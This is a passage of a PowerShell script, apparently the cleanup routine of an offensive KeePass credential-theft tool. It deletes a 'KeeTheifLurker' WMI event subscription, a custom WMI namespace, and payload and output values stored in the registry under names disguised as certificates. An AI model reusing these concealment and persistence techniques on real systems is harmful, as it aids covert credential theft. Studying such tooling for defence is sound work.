$NamespaceName = 'ROOT\Software',
[Parameter(ParameterSetName = 'Registry')]
[String]
$OutputValueName = 'ComputerCertificate',
[Parameter(Mandatory = $True,ParameterSetName = 'Registry')]
[Switch]
$Registry,
[Parameter(ParameterSetName = 'Registry')]
[String]
$RegistryPath = "HKLM:\SOFTWARE\Microsoft\SystemCertificates\$Name",
[Parameter(ParameterSetName = 'Registry')]
[String]
$PayloadValueName = 'DomainCertificate',
[Parameter(Mandatory = $True, ParameterSetName = 'WMI')]
[Switch]
$WMI
)
# Store payload
switch($PsCmdlet.ParameterSetName){
'WMI'{
# Remove custom WMI class
Get-WmiObject -class "Win32_$ClassName" -Namespace $NamespaceName | Remove-WmiObject
Write-Verbose "Custom WMI Class Win32_$ClassName Deleted"
# Remove custom WMI namespace
$NSArray = $NamespaceName.Split('\')
Get-WmiObject -class __NAMESPACE -Namespace $($NSArray[0..($NSArray.Length - 2)] -join '\') -Filter "name='$($NSArray[-1])'" | Remove-WmiObject
Write-Verbose "Namespace $NamespaceName Deleted"
# Revoke remote read access to custom namespace
if($ExposeNamespace){
Revoke-WmiNameSpaceRead -NameSpace $NamespaceName
}
# Remove WMI event
Get-WMIEvent -Name $EventName | Remove-WmiObject
Write-Verbose "WMI KeeTheifLurker '$EventName' Deleted."
}
'Registry'{
$Key = Get-Item $RegistryPath
$Key | Remove-ItemProperty -Name $PayloadValueName
Write-Verbose "Registry Value $PayloadValueName at $RegistryPath deleted"
$Key | Remove-ItemProperty -Name $OutputValueName
Write-Verbose "Registry Value $OutputValueName at $RegistryPath deleted"
Get-WMIEvent -Name $EventName @Arguments | Remove-WmiObject
Write-Verbose "Registry KeeTheifLurker '$EventName' Deleted"
}
}
}
You can’t perform that action at this time.